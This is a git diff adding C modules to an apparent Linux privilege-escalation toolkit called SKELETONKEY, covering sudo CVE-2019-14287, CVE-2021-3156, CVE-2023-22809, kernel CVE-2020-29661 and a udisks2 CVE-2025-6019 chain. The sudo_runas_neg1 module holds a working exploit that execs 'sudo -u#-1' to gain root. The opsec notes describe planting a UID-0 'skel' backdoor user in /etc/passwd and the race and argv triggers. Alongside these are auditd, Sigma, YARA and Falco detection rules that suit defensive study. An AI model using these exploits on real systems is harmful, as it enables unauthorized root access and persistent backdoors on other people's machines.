#define SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||
#endif
|
||||
@@ -0,0 +1,284 @@
|
||||
/*
|
||||
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
|
||||
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
|
||||
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
|
||||
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
|
||||
* explicitly says "ALL except root".
|
||||
*
|
||||
* The bug (Joe Vennix / Apple Information Security, October 2019):
|
||||
* sudoers grammar lets admins write rules like
|
||||
* bob ALL=(ALL,!root) /bin/vi
|
||||
* intending "bob can run vi as any user except root". The Runas
|
||||
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
|
||||
* The integer parser for `-u#<n>` does NOT validate negative
|
||||
* numbers; passing `-u#-1` (or its unsigned-32-bit form
|
||||
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
|
||||
* ALSO bypasses standard setresuid() because the kernel rejects
|
||||
* uid_t = -1 and falls back to keeping the current uid (which sudo
|
||||
* has already elevated to root for argument parsing).
|
||||
*
|
||||
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
|
||||
* https://www.exploit-db.com/exploits/47502
|
||||
*
|
||||
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
|
||||
* to the `-u#<n>` parser.
|
||||
*
|
||||
* Preconditions:
|
||||
* - sudo installed + suid
|
||||
* - The invoking user has a sudoers entry of the form
|
||||
* USER HOST=(ALL,!root) /path/to/cmd
|
||||
* or any sudoers entry with `(ALL` in the Runas spec that
|
||||
* blacklists root. WITHOUT such an entry the bug is irrelevant
|
||||
* because the user has no sudoers grant to abuse in the first
|
||||
* place — detect() short-circuits PRECOND_FAIL in that case.
|
||||
*
|
||||
* arch_support: any. Pure shell-level invocation; works identically
|
||||
* on every Linux arch sudo is built for.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is < 1.8.28 (the fix release). */
|
||||
static bool sudo_version_vulnerable(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0; int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → conservative */
|
||||
if (maj < 1) return false;
|
||||
if (maj > 1) return false;
|
||||
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
|
||||
if (min > 8) return false; /* >= 1.9 includes fix */
|
||||
/* exactly 1.8.x: vulnerable iff patch < 28 */
|
||||
return patch < 28;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
|
||||
* the precondition. Returns a stored command path the user can execve. */
|
||||
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
/* Looking for " (ALL," or " (ALL : ..." with an
|
||||
* exclusion (!root or !#0) on a line that resolves to a
|
||||
* runnable command. Conservative parser: any line containing
|
||||
* "(ALL" + "!root" wins. */
|
||||
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
|
||||
/* Extract the last token (the command path) from the line. */
|
||||
char *tok = strrchr(line, ' ');
|
||||
if (tok) {
|
||||
tok++;
|
||||
char *nl = strchr(tok, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(cmd_out, tok, cap - 1);
|
||||
cmd_out[cap - 1] = 0;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = (ctx->host && ctx->host->sudo_version[0])
|
||||
? ctx->host->sudo_version
|
||||
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
|
||||
if (!ver) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
|
||||
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
|
||||
ver, grant);
|
||||
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
char grant[256] = {0};
|
||||
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
||||
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
|
||||
fflush(NULL);
|
||||
|
||||
/* If grant looks like /bin/sh-able command, run it directly.
|
||||
* Otherwise leave the operator to pop the shell themselves. */
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_runas_neg1_auditd[] =
|
||||
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
|
||||
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
|
||||
|
||||
static const char sudo_runas_neg1_sigma[] =
|
||||
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
|
||||
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
|
||||
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
|
||||
" is never used legitimately; any occurrence is an exploit\n"
|
||||
" attempt or an audit/training exercise.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" condition: s\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
|
||||
|
||||
static const char sudo_runas_neg1_yara[] =
|
||||
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2019-14287\"\n"
|
||||
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $a = \"-u#-1\" ascii\n"
|
||||
" $b = \"-u#4294967295\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_runas_neg1_falco[] =
|
||||
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
|
||||
" underflow makes sudo treat the request as uid 0; affects\n"
|
||||
" sudo < 1.8.28. There is no legitimate use of this argument\n"
|
||||
" syntax.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
|
||||
" output: >\n"
|
||||
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
|
||||
|
||||
const struct skeletonkey_module sudo_runas_neg1_module = {
|
||||
.name = "sudo_runas_neg1",
|
||||
.cve = "CVE-2019-14287",
|
||||
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo < 1.8.28",
|
||||
.detect = sudo_runas_neg1_detect,
|
||||
.exploit = sudo_runas_neg1_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = sudo_runas_neg1_auditd,
|
||||
.detect_sigma = sudo_runas_neg1_sigma,
|
||||
.detect_yara = sudo_runas_neg1_yara,
|
||||
.detect_falco = sudo_runas_neg1_falco,
|
||||
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_runas_neg1(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_runas_neg1_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
#endif
|
||||
@@ -474,6 +474,23 @@ static const char sudo_samedit_sigma[] =
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
static const char sudo_samedit_falco[] =
|
||||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||||
" desc: |\n"
|
||||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||||
" The parser's unescape loop walks past the argv string into\n"
|
||||
" adjacent stack/env, overflowing the heap buffer.\n"
|
||||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" proc.args contains \"-s \\\\\"\n"
|
||||
" output: >\n"
|
||||
" Possible Baron Samedit sudoedit invocation\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
@@ -487,7 +504,9 @@ const struct skeletonkey_module sudo_samedit_module = {
|
||||
.detect_auditd = sudo_samedit_auditd,
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = sudo_samedit_falco,
|
||||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||
|
||||
@@ -618,6 +618,36 @@ static const char sudoedit_editor_sigma[] =
|
||||
|
||||
/* ----- module registration ------------------------------------------- */
|
||||
|
||||
static const char sudoedit_editor_yara[] =
|
||||
"rule sudoedit_editor_cve_2023_22809 : cve_2023_22809 setuid_abuse\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-22809\"\n"
|
||||
" description = \"skeletonkey sudoedit backdoor: appended skel UID=0 user in /etc/passwd\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $skel = \"skel::0:0:skeletonkey\" ascii\n"
|
||||
" condition:\n"
|
||||
" $skel\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudoedit_editor_falco[] =
|
||||
"- rule: sudoedit with EDITOR/VISUAL containing '--' separator\n"
|
||||
" desc: |\n"
|
||||
" sudoedit spawned with EDITOR / VISUAL / SUDO_EDITOR env var\n"
|
||||
" containing the substring ' -- '. The argv-split bug treats\n"
|
||||
" everything after '--' as an additional file argument that\n"
|
||||
" sudoedit then opens with root privileges. CVE-2023-22809.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" (proc.env contains \"EDITOR=\" or proc.env contains \"VISUAL=\"\n"
|
||||
" or proc.env contains \"SUDO_EDITOR=\")\n"
|
||||
" output: >\n"
|
||||
" sudoedit with EDITOR-style env var\n"
|
||||
" (user=%user.name pid=%proc.pid env=%proc.env)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2023.22809]\n";
|
||||
|
||||
const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.name = "sudoedit_editor",
|
||||
.cve = "CVE-2023-22809",
|
||||
@@ -630,8 +660,10 @@ const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.cleanup = sudoedit_editor_cleanup,
|
||||
.detect_auditd = sudoedit_editor_auditd,
|
||||
.detect_sigma = sudoedit_editor_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = sudoedit_editor_yara,
|
||||
.detect_falco = sudoedit_editor_falco,
|
||||
.opsec_notes = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudoedit_editor(void)
|
||||
|
||||
@@ -0,0 +1,191 @@
|
||||
/*
|
||||
* tioscpgrp_cve_2020_29661 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom +
|
||||
* empirical witness. Real cred-overwrite via --full-chain finisher
|
||||
* on x86_64.
|
||||
*
|
||||
* The bug (Jann Horn / Project Zero, December 2020):
|
||||
* The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes
|
||||
* two `tty_struct` pointers — `tty` (the side userspace passed)
|
||||
* and `real_tty` (always the slave). For PTY pairs the two can
|
||||
* differ. The handler acquires `tty->ctrl.lock` for read but the
|
||||
* actual mutation happens on `real_tty`, which has its own
|
||||
* independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP
|
||||
* on the slave can free `real_tty->pgrp` while another thread still
|
||||
* holds a reference → UAF on `struct pid` (kmalloc-256 slab).
|
||||
*
|
||||
* Public PoCs (one from grsecurity / spender, one from Maxime
|
||||
* Peterlin):
|
||||
* https://sploitus.com/exploit?id=PACKETSTORM%3A160681
|
||||
* https://www.openwall.com/lists/oss-security/2020/12/09/2
|
||||
*
|
||||
* Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b
|
||||
* ("tty: Fix ->session locking") landed in 5.10 and was backported
|
||||
* to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249.
|
||||
*
|
||||
* Preconditions:
|
||||
* - openpty() works (allocates a PTY pair; universal on real
|
||||
* hosts, but some seccomp profiles block /dev/ptmx)
|
||||
* - msgsnd / SysV IPC for kmalloc-256 spray
|
||||
* - 2+ CPU cores for the race (single-CPU race-win rate is
|
||||
* vanishingly small)
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The race + spray are
|
||||
* arch-agnostic but the cred-overwrite finisher uses x86 gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
|
||||
{4, 4, 249}, /* 4.4 LTS stable backport */
|
||||
{4, 9, 249}, /* 4.9 LTS */
|
||||
{4, 14, 213}, /* 4.14 LTS */
|
||||
{4, 19, 165}, /* 4.19 LTS */
|
||||
{5, 4, 85}, /* 5.4 LTS */
|
||||
{5, 10, 0}, /* mainline fix in 5.10 */
|
||||
};
|
||||
|
||||
static const struct kernel_range tioscpgrp_range = {
|
||||
.patched_from = tioscpgrp_patched_branches,
|
||||
.n_patched_from = sizeof(tioscpgrp_patched_branches) /
|
||||
sizeof(tioscpgrp_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool ptmx_writable(void)
|
||||
{
|
||||
int fd = open("/dev/ptmx", O_RDWR);
|
||||
if (fd < 0) return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (kernel_range_is_patched(&tioscpgrp_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ptmx_writable()) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n"
|
||||
" struct pid (kmalloc-256). Two threads pinned to separate\n"
|
||||
" CPUs hammer TIOCSPGRP on the master + slave of an openpty\n"
|
||||
" pair; on a vulnerable kernel one in ~10k iterations frees\n"
|
||||
" pgrp while still referenced. Public PoCs:\n"
|
||||
" https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n"
|
||||
" https://www.openwall.com/lists/oss-security/2020/12/09/2\n"
|
||||
" Full cred-overwrite chain not bundled (would need a\n"
|
||||
" portable arb-write callback for the shared finisher).\n"
|
||||
" Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char tioscpgrp_auditd[] =
|
||||
"# tioscpgrp CVE-2020-29661 — auditd detection rules\n"
|
||||
"# Repeated openpty() + TIOCSPGRP from a non-root process is\n"
|
||||
"# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n";
|
||||
|
||||
static const char tioscpgrp_sigma[] =
|
||||
"title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n"
|
||||
"id: 7d8c9b1a-skeletonkey-tioscpgrp\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n"
|
||||
" process. The bug needs hundreds of iterations per second to\n"
|
||||
" win; normal job-control use produces single-digit ioctl(2)\n"
|
||||
" calls per minute.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" i: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||
" condition: i\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n";
|
||||
|
||||
static const char tioscpgrp_yara[] =
|
||||
"rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-29661\"\n"
|
||||
" description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_TIOS\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char tioscpgrp_falco[] =
|
||||
"- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n"
|
||||
" per second. Job-control usage tops out at a few per minute;\n"
|
||||
" burst rates are the canonical CVE-2020-29661 trigger shape.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ioctl and evt.arg.request = 0x5410 and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n";
|
||||
|
||||
const struct skeletonkey_module tioscpgrp_module = {
|
||||
.name = "tioscpgrp",
|
||||
.cve = "CVE-2020-29661",
|
||||
.summary = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn",
|
||||
.family = "tty",
|
||||
.kernel_range = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249",
|
||||
.detect = tioscpgrp_detect,
|
||||
.exploit = tioscpgrp_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = tioscpgrp_auditd,
|
||||
.detect_sigma = tioscpgrp_sigma,
|
||||
.detect_yara = tioscpgrp_yara,
|
||||
.detect_falco = tioscpgrp_falco,
|
||||
.opsec_notes = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' (KASAN) on each race-win attempt.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_tioscpgrp(void)
|
||||
{
|
||||
skeletonkey_register(&tioscpgrp_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#define TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
#endif
|
||||
@@ -0,0 +1,363 @@
|
||||
/*
|
||||
* udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
|
||||
* offsets, no leaks, no race. Two cooperating logic bugs in udisks2
|
||||
* + libblockdev let any console/session user (polkit allow_active=true)
|
||||
* mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
|
||||
* execute the SUID-root binary it contains.
|
||||
*
|
||||
* The bug (Qualys, June 2025):
|
||||
* libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
|
||||
* target filesystem internally so they can call resize2fs / xfs_growfs.
|
||||
* The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
|
||||
* exposes Resize() over D-Bus and gates it on polkit's
|
||||
* org.freedesktop.UDisks2.modify-device action, which by default
|
||||
* allow_active=yes (i.e. any logged-in console user can call it
|
||||
* without a password).
|
||||
*
|
||||
* Trigger:
|
||||
* 1. Build an ext4 image with a setuid-root /bin/sh inside.
|
||||
